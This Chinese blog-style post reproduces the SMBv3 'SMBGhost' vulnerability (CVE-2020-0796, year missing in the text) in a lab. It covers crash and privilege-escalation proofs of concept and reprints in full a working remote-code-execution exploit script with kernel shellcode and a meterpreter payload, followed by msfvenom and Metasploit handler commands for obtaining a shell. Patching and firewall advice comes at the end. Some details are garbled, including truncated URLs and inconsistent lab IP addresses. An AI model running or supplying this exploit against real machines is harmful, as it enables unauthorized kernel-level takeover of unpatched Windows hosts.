700字范文,内容丰富有趣,生活中的好帮手!
700字范文 > 【漏洞复现】CVE--0796永恒之黑漏洞复现

【漏洞复现】CVE--0796永恒之黑漏洞复现

时间:2024-07-12 01:12:30

相关推荐

【漏洞复现】CVE--0796永恒之黑漏洞复现

文章目录

一、漏洞描述二、影响版本三、漏洞检测四、漏洞复现环境五、(1)漏洞利用之蓝屏五、(2)漏洞利用之本地提权五、(3)漏洞利用之反弹shell1、使用msfvenom生成payload2、替换payload3. 开启msf监听模块4. 运行exploit.py脚本,发起攻击反弹shell5. 执行成功,查看监听的地方,成功得到shell六、修复建议1.安装官方补丁2.禁用SMBv3压缩3.设置防火墙策略关闭相关端口4.通过IP安全策略屏蔽危险端口,bat执行添加防火墙策略,关闭危险服务

一、漏洞描述

SMB 3.1.1协议中处理压缩消息时,对其中数据没有经过安全检查,直接使用会引发内存破坏漏洞,可能被攻击者利用远程执行任意代码。攻击者利用该漏洞无须权限即可实现远程代码执行,受黑客攻击的目标系统只需开机在线即可能被入侵。

Windows 10和Windows Server 引入了SMB 3.1.1 。本次漏洞源于SMBv3没有正确处理压缩的数据包,在解压数据包的时候使用客户端传过来的长度进行解压时,并没有检查长度是否合法,最终导致整数溢出。

利用该漏洞,黑客可直接远程攻击SMB服务端远程执行任意恶意代码,亦可通过构建恶意SMB服务端诱导客户端连接从而大规模攻击客户端。

二、影响版本

Windows 10 Version 1903 for 32-bit SystemsWindows 10 Version 1903 for ARM64-based SystemsWindows 10 Version 1903 for x64-based SystemsWindows 10 Version 1909 for 32-bit SystemsWindows 10 Version 1909 for ARM64-based SystemsWindows 10 Version 1909 for x64-based SystemsWindows Server, version 1903 (Server Core installation)Windows Server, version 1909 (Server Core installation)

三、漏洞检测

/skylar6/CVE--0796-Scanner.zip适用于局域网批量检测,快速查找未打补丁的机器。使用方法:CVE--0796-Scanner.exe your-ipeg:CVE--0796-Scanner.exe 192.168.2.128

四、漏洞复现环境

目标机:192.168.2.129 --> windows10 x64 1903专业版 OS版本:10.0.18362(虚拟机)攻击机:192.168.2.129 --> Kali Linux x64 (虚拟机)192.168.102.181 --> Microsoft Windows 10 家庭版 10.0.19044 (物理机)

Windows靶机系统下载https://sl-m-/h5/page/download-share/index.html?entry=link&appType=PC&videobtindex=-1&storid=c39vhtrekug5&share_from=dlpage_share_link

五、(1)漏洞利用之蓝屏

利用下载的poc脚本发起攻击

下载POC:/eerykitty/CVE--0796-PoC

需要下载一些python文件,才能运行脚本。pip下载,根据提示下载相应文件

python3 CVE--0796.py 192.168.2.128

五、(2)漏洞利用之本地提权

下载POC:/danigargu/CVE--0796/

本地普通用户Bypass执行提权exp后弹出cmd窗口,成功获取system权限。

五、(3)漏洞利用之反弹shell

远程利用PoC:/chompie1337/SMBGhost_RCE_PoC

1、使用msfvenom生成payload

msfvenom -p windows/x64/meterpreter/bind_tcp lport=9999 -f py -o shellcode.txt

2、替换payload

方法一:将payload.py 生成的code,替换到exploit.py的USER_PAYLOAD参数,并把参数buf改为USER_PAYLOAD。( 可以先整体粘贴复制,然后将buf替换为 USER_PAYLOAD,就不用一行一行粘贴了,节省了很多时间 )

方法二:直接替换我提供的脚本中的buf。

#!/usr/bin/env pythonimport sysimport socketimport structimport argparsefrom lznt1 import compress, compress_evilfrom smb_win import smb_negotiate, smb_compress# Use lowstub jmp bytes to signature searchLOWSTUB_JMP = 0x1000600E9# Offset of PML4 pointer in lowstubPML4_LOWSTUB_OFFSET = 0xA0# Offset of lowstub virtual address in lowstubSELFVA_LOWSTUB_OFFSET = 0x78# Offset of hal!HalpApicRequestInterrupt pointer in hal!HalpInterruptControllerHALP_APIC_REQ_INTERRUPT_OFFSET = 0x78KUSER_SHARED_DATA = 0xFFFFF78000000000# Offset of pNetRawBuffer in SRVNET_BUFFER_HDRPNET_RAW_BUFF_OFFSET = 0x18# Offset of pMDL1 in SRVNET_BUFFER_HDRPMDL1_OFFSET = 0x38 # Shellcode from kernel_shellcode.asm KERNEL_SHELLCODE = b"\x41\x50\x41\x51\x41\x55\x41\x57\x41\x56\x51\x52\x53\x56\x57\x4C"KERNEL_SHELLCODE += b"\x8D\x35\xB9\x02\x00\x00\x49\x8B\x86\xD8\x00\x00\x00\x49\x8B\x9E"KERNEL_SHELLCODE += b"\xE0\x00\x00\x00\x48\x89\x18\xFB\x48\x31\xC9\x44\x0F\x22\xC1\xB9"KERNEL_SHELLCODE += b"\x82\x00\x00\xC0\x0F\x32\x25\x00\xF0\xFF\xFF\x48\xC1\xE2\x20\x48"KERNEL_SHELLCODE += b"\x01\xD0\x48\x2D\x00\x10\x00\x00\x66\x81\x38\x4D\x5A\x75\xF3\x49"KERNEL_SHELLCODE += b"\x89\xC7\x4D\x89\x3E\xBF\x78\x7C\xF4\xDB\xE8\xE4\x00\x00\x00\x49"KERNEL_SHELLCODE += b"\x89\xC5\xBF\x3F\x5F\x64\x77\xE8\x38\x01\x00\x00\x48\x89\xC1\xBF"KERNEL_SHELLCODE += b"\xE1\x14\x01\x17\xE8\x2B\x01\x00\x00\x48\x89\xC2\x48\x83\xC2\x08"KERNEL_SHELLCODE += b"\x49\x8D\x74\x0D\x00\xE8\x09\x01\x00\x00\x3D\xD8\x83\xE0\x3E\x74"KERNEL_SHELLCODE += b"\x0A\x4D\x8B\x6C\x15\x00\x49\x29\xD5\xEB\xE5\xBF\x48\xB8\x18\xB8"KERNEL_SHELLCODE += b"\x4C\x89\xE9\xE8\x9B\x00\x00\x00\x49\x89\x46\x08\x4D\x8B\x45\x30"KERNEL_SHELLCODE += b"\x4D\x8B\x4D\x38\x49\x81\xE8\xF8\x02\x00\x00\x48\x31\xF6\x49\x81"KERNEL_SHELLCODE += b"\xE9\xF8\x02\x00\x00\x41\x8B\x79\x74\x0F\xBA\xE7\x04\x73\x05\x4C"KERNEL_SHELLCODE += b"\x89\xCE\xEB\x0C\x4D\x39\xC8\x4D\x8B\x89\x00\x03\x00\x00\x75\xDE"KERNEL_SHELLCODE += b"\x48\x85\xF6\x74\x49\x49\x8D\x4E\x10\x48\x89\xF2\x4D\x31\xC0\x4C"KERNEL_SHELLCODE += b"\x8D\x0D\xC2\x00\x00\x00\x52\x41\x50\x41\x50\x41\x50\xBF\xC4\x5C"KERNEL_SHELLCODE += b"\x19\x6D\x48\x83\xEC\x20\xE8\x38\x00\x00\x00\x48\x83\xC4\x40\x49"KERNEL_SHELLCODE += b"\x8D\x4E\x10\xBF\x34\x46\xCC\xAF\x48\x83\xEC\x20\xB8\x05\x00\x00"KERNEL_SHELLCODE += b"\x00\x44\x0F\x22\xC0\xE8\x19\x00\x00\x00\x48\x83\xC4\x20\xFA\x48"KERNEL_SHELLCODE += b"\x89\xD8\x5F\x5E\x5B\x5A\x59\x41\x5E\x41\x5F\x41\x5D\x41\x59\x41"KERNEL_SHELLCODE += b"\x58\xFF\xE0\xE8\x02\x00\x00\x00\xFF\xE0\x53\x51\x56\x41\x8B\x47"KERNEL_SHELLCODE += b"\x3C\x4C\x01\xF8\x8B\x80\x88\x00\x00\x00\x4C\x01\xF8\x50\x8B\x48"KERNEL_SHELLCODE += b"\x18\x8B\x58\x20\x4C\x01\xFB\xFF\xC9\x8B\x34\x8B\x4C\x01\xFE\xE8"KERNEL_SHELLCODE += b"\x1F\x00\x00\x00\x39\xF8\x75\xEF\x58\x8B\x58\x24\x4C\x01\xFB\x66"KERNEL_SHELLCODE += b"\x8B\x0C\x4B\x8B\x58\x1C\x4C\x01\xFB\x8B\x04\x8B\x4C\x01\xF8\x5E"KERNEL_SHELLCODE += b"\x59\x5B\xC3\x52\x31\xC0\x99\xAC\xC1\xCA\x0D\x01\xC2\x85\xC0\x75"KERNEL_SHELLCODE += b"\xF6\x92\x5A\xC3\xE8\xA1\xFF\xFF\xFF\x80\x78\x02\x80\x77\x05\x0F"KERNEL_SHELLCODE += b"\xB6\x40\x03\xC3\x8B\x40\x03\xC3\x41\x57\x41\x56\x57\x56\x48\x8B"KERNEL_SHELLCODE += b"\x05\x12\x01\x00\x00\x48\x8B\x48\x18\x48\x8B\x49\x20\x48\x8B\x09"KERNEL_SHELLCODE += b"\x66\x83\x79\x48\x18\x75\xF6\x48\x8B\x41\x50\x81\x78\x0C\x33\x00"KERNEL_SHELLCODE += b"\x32\x00\x75\xE9\x4C\x8B\x79\x20\xBF\x5E\x51\x5E\x83\xE8\x58\xFF"KERNEL_SHELLCODE += b"\xFF\xFF\x49\x89\xC6\x4C\x8B\x3D\xD3\x00\x00\x00\x31\xC0\x44\x0F"KERNEL_SHELLCODE += b"\x22\xC0\x48\x8D\x15\x96\x01\x00\x00\x89\xC1\x48\xF7\xD1\x49\x89"KERNEL_SHELLCODE += b"\xC0\xB0\x40\x50\xC1\xE0\x06\x50\x49\x89\x01\x48\x83\xEC\x20\xBF"KERNEL_SHELLCODE += b"\xEA\x99\x6E\x57\xE8\x1A\xFF\xFF\xFF\x48\x83\xC4\x30\x48\x8B\x3D"KERNEL_SHELLCODE += b"\x6B\x01\x00\x00\x48\x8D\x35\x77\x00\x00\x00\xB9\x1D\x00\x00\x00"KERNEL_SHELLCODE += b"\xF3\xA4\x48\x8D\x35\x6E\x01\x00\x00\xB9\x58\x02\x00\x00\xF3\xA4"KERNEL_SHELLCODE += b"\x48\x8D\x0D\xE0\x00\x00\x00\x65\x48\x8B\x14\x25\x88\x01\x00\x00"KERNEL_SHELLCODE += b"\x4D\x31\xC0\x4C\x8D\x0D\x46\x00\x00\x00\x41\x50\x6A\x01\x48\x8B"KERNEL_SHELLCODE += b"\x05\x2A\x01\x00\x00\x50\x41\x50\x48\x83\xEC\x20\xBF\xC4\x5C\x19"KERNEL_SHELLCODE += b"\x6D\xE8\xBD\xFE\xFF\xFF\x48\x83\xC4\x40\x48\x8D\x0D\xA6\x00\x00"KERNEL_SHELLCODE += b"\x00\x4C\x89\xF2\x4D\x31\xC9\xBF\x34\x46\xCC\xAF\x48\x83\xEC\x20"KERNEL_SHELLCODE += b"\xE8\x9E\xFE\xFF\xFF\x48\x83\xC4\x20\x5E\x5F\x41\x5E\x41\x5F\xC3"KERNEL_SHELLCODE += b"\x90\xC3\x48\x92\x31\xC9\x51\x51\x49\x89\xC9\x4C\x8D\x05\x0D\x00"KERNEL_SHELLCODE += b"\x00\x00\x89\xCA\x48\x83\xEC\x20\xFF\xD0\x48\x83\xC4\x30\xC3\x58"KERNEL_SHELLCODE += b"\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58"KERNEL_SHELLCODE += b"\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58"KERNEL_SHELLCODE += b"\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58"KERNEL_SHELLCODE += b"\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58"KERNEL_SHELLCODE += b"\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58"KERNEL_SHELLCODE += b"\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58"KERNEL_SHELLCODE += b"\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58"KERNEL_SHELLCODE += b"\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58"KERNEL_SHELLCODE += b"\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58"KERNEL_SHELLCODE += b"\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58"KERNEL_SHELLCODE += b"\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58"KERNEL_SHELLCODE += b"\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58"KERNEL_SHELLCODE += b"\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x00"KERNEL_SHELLCODE += b"\x00\x00\x00\x00\x00\x00\x00"# Reverse shell generated by msfvenom. Can you believe I had to download Kali Linux for this shit?buf = b""buf += b"\xfc\x48\x81\xe4\xf0\xff\xff\xff\xe8\xcc\x00\x00\x00"buf += b"\x41\x51\x41\x50\x52\x48\x31\xd2\x51\x56\x65\x48\x8b"buf += b"\x52\x60\x48\x8b\x52\x18\x48\x8b\x52\x20\x48\x8b\x72"buf += b"\x50\x4d\x31\xc9\x48\x0f\xb7\x4a\x4a\x48\x31\xc0\xac"buf += b"\x3c\x61\x7c\x02\x2c\x20\x41\xc1\xc9\x0d\x41\x01\xc1"buf += b"\xe2\xed\x52\x48\x8b\x52\x20\x8b\x42\x3c\x41\x51\x48"buf += b"\x01\xd0\x66\x81\x78\x18\x0b\x02\x0f\x85\x72\x00\x00"buf += b"\x00\x8b\x80\x88\x00\x00\x00\x48\x85\xc0\x74\x67\x48"buf += b"\x01\xd0\x8b\x48\x18\x44\x8b\x40\x20\x49\x01\xd0\x50"buf += b"\xe3\x56\x4d\x31\xc9\x48\xff\xc9\x41\x8b\x34\x88\x48"buf += b"\x01\xd6\x48\x31\xc0\x41\xc1\xc9\x0d\xac\x41\x01\xc1"buf += b"\x38\xe0\x75\xf1\x4c\x03\x4c\x24\x08\x45\x39\xd1\x75"buf += b"\xd8\x58\x44\x8b\x40\x24\x49\x01\xd0\x66\x41\x8b\x0c"buf += b"\x48\x44\x8b\x40\x1c\x49\x01\xd0\x41\x8b\x04\x88\x48"buf += b"\x01\xd0\x41\x58\x41\x58\x5e\x59\x5a\x41\x58\x41\x59"buf += b"\x41\x5a\x48\x83\xec\x20\x41\x52\xff\xe0\x58\x41\x59"buf += b"\x5a\x48\x8b\x12\xe9\x4b\xff\xff\xff\x5d\x49\xbe\x77"buf += b"\x73\x32\x5f\x33\x32\x00\x00\x41\x56\x49\x89\xe6\x48"buf += b"\x81\xec\xa0\x01\x00\x00\x49\x89\xe5\x48\x31\xc0\x50"buf += b"\x50\x49\xc7\xc4\x02\x00\x27\x0f\x41\x54\x49\x89\xe4"buf += b"\x4c\x89\xf1\x41\xba\x4c\x77\x26\x07\xff\xd5\x4c\x89"buf += b"\xea\x68\x01\x01\x00\x00\x59\x41\xba\x29\x80\x6b\x00"buf += b"\xff\xd5\x6a\x02\x59\x50\x50\x4d\x31\xc9\x4d\x31\xc0"buf += b"\x48\xff\xc0\x48\x89\xc2\x41\xba\xea\x0f\xdf\xe0\xff"buf += b"\xd5\x48\x89\xc7\x6a\x10\x41\x58\x4c\x89\xe2\x48\x89"buf += b"\xf9\x41\xba\xc2\xdb\x37\x67\xff\xd5\x48\x31\xd2\x48"buf += b"\x89\xf9\x41\xba\xb7\xe9\x38\xff\xff\xd5\x4d\x31\xc0"buf += b"\x48\x31\xd2\x48\x89\xf9\x41\xba\x74\xec\x3b\xe1\xff"buf += b"\xd5\x48\x89\xf9\x48\x89\xc7\x41\xba\x75\x6e\x4d\x61"buf += b"\xff\xd5\x48\x81\xc4\xb0\x02\x00\x00\x48\x83\xec\x10"buf += b"\x48\x89\xe2\x4d\x31\xc9\x6a\x04\x41\x58\x48\x89\xf9"buf += b"\x41\xba\x02\xd9\xc8\x5f\xff\xd5\x48\x83\xc4\x20\x5e"buf += b"\x89\xf6\x6a\x40\x41\x59\x68\x00\x10\x00\x00\x41\x58"buf += b"\x48\x89\xf2\x48\x31\xc9\x41\xba\x58\xa4\x53\xe5\xff"buf += b"\xd5\x48\x89\xc3\x49\x89\xc7\x4d\x31\xc9\x49\x89\xf0"buf += b"\x48\x89\xda\x48\x89\xf9\x41\xba\x02\xd9\xc8\x5f\xff"buf += b"\xd5\x48\x01\xc3\x48\x29\xc6\x48\x85\xf6\x75\xe1\x41"buf += b"\xff\xe7\x58\x6a\x00\x59\x49\xc7\xc2\xf0\xb5\xa2\x56"buf += b"\xff\xd5"PML4_SELFREF = 0PHAL_HEAP = 0PHALP_INTERRUPT = 0PHALP_APIC_INTERRUPT = 0PNT_ENTRY = 0max_read_retry = 3overflow_val = 0x1100write_unit = 0xd0pmdl_va = KUSER_SHARED_DATA + 0x900pmdl_mapva = KUSER_SHARED_DATA + 0x800pshellcodeva = KUSER_SHARED_DATA + 0x950class MDL:def __init__(self, map_va, phys_addr):self.next = struct.pack("<Q", 0x0)self.size = struct.pack("<H", 0x40)self.mdl_flags = struct.pack("<H", 0x5004)self.alloc_processor = struct.pack("<H", 0x0)self.reserved = struct.pack("<H", 0x0)self.process = struct.pack("<Q", 0x0)self.map_va = struct.pack("<Q", map_va)map_va &= ~0xFFFself.start_va = struct.pack("<Q", map_va)self.byte_count = struct.pack("<L", 0x1100)self.byte_offset = struct.pack("<L", (phys_addr & 0xFFF) + 0x4)phys_addr_enc = (phys_addr & 0xFFFFFFFFFFFFF000) >> 12self.phys_addr1 = struct.pack("<Q", phys_addr_enc)self.phys_addr2 = struct.pack("<Q", phys_addr_enc)self.phys_addr3 = struct.pack("<Q", phys_addr_enc)def raw_bytes(self):mdl_bytes = self.next + self.size + self.mdl_flags + \self.alloc_processor + self.reserved + self.process + \self.map_va + self.start_va + self.byte_count + \self.byte_offset + self.phys_addr1 + self.phys_addr2 + \self.phys_addr3return mdl_bytesdef reconnect(ip, port):sock = socket.socket(socket.AF_INET)sock.settimeout(7)sock.connect((ip, port))return sockdef write_primitive(ip, port, data, addr):sock = reconnect(ip, port)smb_negotiate(sock)sock.recv(1000)uncompressed_data = b"\x41"*(overflow_val - len(data))uncompressed_data += b"\x00"*PNET_RAW_BUFF_OFFSETuncompressed_data += struct.pack('<Q', addr)compressed_data = compress(uncompressed_data)smb_compress(sock, compressed_data, 0xFFFFFFFF, data)sock.close()def write_srvnet_buffer_hdr(ip, port, data, offset):sock = reconnect(ip, port)smb_negotiate(sock)sock.recv(1000)compressed_data = compress_evil(data)dummy_data = b"\x33"*(overflow_val + offset)smb_compress(sock, compressed_data, 0xFFFFEFFF, dummy_data)sock.close()def read_physmem_primitive(ip, port, phys_addr):i = 0while i < max_read_retry:i += 1buff = try_read_physmem_primitive(ip, port, phys_addr)if buff is not None:return buffdef try_read_physmem_primitive(ip, port, phys_addr):fake_mdl = MDL(pmdl_mapva, phys_addr).raw_bytes()write_primitive(ip, port, fake_mdl, pmdl_va)write_srvnet_buffer_hdr(ip, port, struct.pack('<Q', pmdl_va), PMDL1_OFFSET)i = 0while i < max_read_retry:i += 1sock = reconnect(ip, port)smb_negotiate(sock)buff = sock.recv(1000)sock.close()if buff[4:8] != b"\xfeSMB":return buffdef get_phys_addr(ip, port, va_addr):pml4_index = (((1 << 9) - 1) & (va_addr >> (40 - 1)))pdpt_index = (((1 << 9) - 1) & (va_addr >> (31 - 1)))pdt_index = (((1 << 9) - 1) & (va_addr >> (22 - 1)))pt_index = (((1 << 9) - 1) & (va_addr >> (13 - 1)))pml4e = PML4 + pml4_index*0x8pdpt_buff = read_physmem_primitive(ip, port, pml4e)if pdpt_buff is None:sys.exit("[-] physical read primitive failed")pdpt = struct.unpack("<Q", pdpt_buff[0:8])[0] & 0xFFFFF000pdpte = pdpt + pdpt_index*0x8pdt_buff = read_physmem_primitive(ip, port, pdpte)if pdt_buff is None:sys.exit("[-] physical read primitive failed")pdt = struct.unpack("<Q", pdt_buff[0:8])[0] & 0xFFFFF000pdte = pdt + pdt_index*0x8pt_buff = read_physmem_primitive(ip, port, pdte)if pt_buff is None:sys.exit("[-] physical read primitive failed")pt = struct.unpack("<Q", pt_buff[0:8])[0]if pt & (1 << (8 - 1)):phys_addr = (pt & 0xFFFFF000) + (pt_index & 0xFFF)*0x1000 + (va_addr & 0xFFF)return phys_addrelse:pt = pt & 0xFFFFF000pte = pt + pt_index*0x8pte_buff = read_physmem_primitive(ip, port, pte)if pte_buff is None:sys.exit("[-] physical read primitive failed")phys_addr = (struct.unpack("<Q", pte_buff[0:8])[0] & 0xFFFFF000) + \(va_addr & 0xFFF)return phys_addrdef get_pte_va(addr):pt = addr >> 9lb = (0xFFFF << 48) | (PML4_SELFREF << 39)ub = ((0xFFFF << 48) | (PML4_SELFREF << 39) +0x8000000000 - 1) & 0xFFFFFFFFFFFFFFF8pt = pt | lbpt = pt & ubreturn ptdef overwrite_pte(ip, port, addr):phys_addr = get_phys_addr(ip, port, addr)buff = read_physmem_primitive(ip, port, phys_addr)if buff is None:sys.exit("[-] read primitive failed!")pte_val = struct.unpack("<Q", buff[0:8])[0]# Clear NX bitoverwrite_val = pte_val & (((1 << 63) - 1))overwrite_buff = struct.pack("<Q", overwrite_val)write_primitive(ip, port, overwrite_buff, addr)def build_shellcode():global KERNEL_SHELLCODEKERNEL_SHELLCODE += struct.pack("<Q", PHALP_INTERRUPT +HALP_APIC_REQ_INTERRUPT_OFFSET)KERNEL_SHELLCODE += struct.pack("<Q", PHALP_APIC_INTERRUPT)KERNEL_SHELLCODE += bufdef search_hal_heap(ip, port):global PHALP_INTERRUPTglobal PHALP_APIC_INTERRUPTsearch_len = 0x10000index = PHAL_HEAPpage_index = PHAL_HEAPcons = 0phys_addr = 0while index < PHAL_HEAP + search_len:# It seems that pages in the HAL heap are not necessarily contiguous in physical memory, # so we try to reduce number of reads like this if not (index & 0xFFF):phys_addr = get_phys_addr(ip, port, index)else:phys_addr = (phys_addr & 0xFFFFFFFFFFFFF000) + (index & 0xFFF)buff = read_physmem_primitive(ip, port, phys_addr)if buff is None:sys.exit("[-] physical read primitive failed!")entry_indices = 8*(((len(buff) + 8 // 2) // 8) - 1)i = 0# This heuristic seems to be OK to find HalpInterruptController, but could use improvementwhile i < entry_indices:entry = struct.unpack("<Q", buff[i:i+8])[0]i += 8if (entry & 0xFFFFFF0000000000) != 0xFFFFF80000000000:cons = 0continuecons += 1if cons > 3:PHALP_INTERRUPT = index + i - 0x40print("[+] found HalpInterruptController at %lx"% PHALP_INTERRUPT)if len(buff) < i + 0x40:buff = read_physmem_primitive(ip, port, phys_addr + i + 0x38)PHALP_APIC_INTERRUPT = struct.unpack("<Q", buff[0:8])[0]if buff is None:sys.exit("[-] physical read primitive failed!")else:PHALP_APIC_INTERRUPT = struct.unpack("<Q",buff[i + 0x38:i+0x40])[0]print("[+] found HalpApicRequestInterrupt at %lx" % PHALP_APIC_INTERRUPT)returnindex += entry_indicessys.exit("[-] failed to find HalpInterruptController!")def search_selfref(ip, port):search_len = 0x1000index = PML4while search_len:buff = read_physmem_primitive(ip, port, index)if buff is None:returnentry_indices = 8*(((len(buff) + 8 // 2) // 8) - 1)i = 0while i < entry_indices:entry = struct.unpack("<Q",buff[i:i+8])[0] & 0xFFFFF000if entry == PML4:return index + ii += 8search_len -= entry_indicesindex += entry_indicesdef find_pml4_selfref(ip, port):global PML4_SELFREFself_ref = search_selfref(ip, port)if self_ref is None:sys.exit("[-] failed to find PML4 self reference entry!")PML4_SELFREF = (self_ref & 0xFFF) >> 3print("[+] found PML4 self-ref entry %0x" % PML4_SELFREF)def find_low_stub(ip, port):global PML4global PHAL_HEAPlimit = 0x100000index = 0x1000while index < limit:buff = read_physmem_primitive(ip, port, index)if buff is None:sys.exit("[-] physical read primitive failed!")entry = struct.unpack("<Q", buff[0:8])[0] & 0xFFFFFFFFFFFF00FFif entry == LOWSTUB_JMP:print("[+] found low stub at phys addr %lx!" % index)PML4 = struct.unpack("<Q", buff[PML4_LOWSTUB_OFFSET: PML4_LOWSTUB_OFFSET + 8])[0]print("[+] PML4 at %lx" % PML4)PHAL_HEAP = struct.unpack("<Q", buff[SELFVA_LOWSTUB_OFFSET:SELFVA_LOWSTUB_OFFSET + 8])[0] & 0xFFFFFFFFF0000000print("[+] base of HAL heap at %lx" % PHAL_HEAP)returnindex += 0x1000sys.exit("[-] Failed to find low stub in physical memory!")def do_rce(ip, port):find_low_stub(ip, port)find_pml4_selfref(ip, port)search_hal_heap(ip, port)build_shellcode()print("[+] built shellcode!")pKernelUserSharedPTE = get_pte_va(KUSER_SHARED_DATA)print("[+] KUSER_SHARED_DATA PTE at %lx" % pKernelUserSharedPTE)overwrite_pte(ip, port, pKernelUserSharedPTE)print("[+] KUSER_SHARED_DATA PTE NX bit cleared!")# TODO: figure out why we can't write the entire shellcode data at once. There is a check before srv2!Srv2DecompressData preventing the call of the function.to_write = len(KERNEL_SHELLCODE)write_bytes = 0while write_bytes < to_write:write_sz = min([write_unit, to_write - write_bytes])write_primitive(ip, port, KERNEL_SHELLCODE[write_bytes:write_bytes + write_sz], pshellcodeva + write_bytes)write_bytes += write_szprint("[+] Wrote shellcode at %lx!" % pshellcodeva)input("[+] Press a key to execute shellcode!")write_primitive(ip, port, struct.pack("<Q", pshellcodeva), PHALP_INTERRUPT + HALP_APIC_REQ_INTERRUPT_OFFSET)print("[+] overwrote HalpInterruptController pointer, should have execution shortly...")if __name__ == "__main__":parser = argparse.ArgumentParser()parser.add_argument("-ip", help="IP address of target", required=True)parser.add_argument("-p", "--port", default=445, help="SMB port, \default: 445", required=False, type=int)args = parser.parse_args()do_rce(args.ip, args.port)

3. 开启msf监听模块

use exploit/multi/handlerset payload windows/x64/meterpreter/bind_tcpset lport 9999set rhost 192.168.2.128run

注意:监听模块的端口设置,和生成的木马设置的端口是同一个,用于反弹shell的入口的。

4. 运行exploit.py脚本,发起攻击反弹shell

注意:这里并不是执行一次就可以收到反弹shell,如一次不成功需重复多次,直至成功。攻击过程中有几率造成对方主机蓝屏,谨慎使用。

python3 explpit.py -ip 192.168.2.128

5. 执行成功,查看监听的地方,成功得到shell

六、修复建议

1.安装官方补丁

微软已经发布了此漏洞的安全补丁,访问如下链接:

https://portal./en-US/security-guidance/advisory/CVE--0796

给对应的系统打微软出的最新补丁

2.禁用SMBv3压缩

禁用SMB 3.0的压缩功能,是否使用需要结合自己业务进行判断。

注:利用以上命令进行更改后,无需重启即可生效;该方法仅可用来防护针对SMB服务器(SMB SERVER)的攻击,无法对SMB客户端(SMB Client)进行防护。

3.设置防火墙策略关闭相关端口

SMB的TCP 445端口NetBIOS名称解析的UDP 137端口NetBIOS数据图服务的UDP 138端口NetBIOS会话服务的TCP 139端口

4.通过IP安全策略屏蔽危险端口,bat执行添加防火墙策略,关闭危险服务

本内容不代表本网观点和政治立场,如有侵犯你的权益请联系我们处理。
网友评论
网友评论仅供其表达个人看法,并不表明网站立场。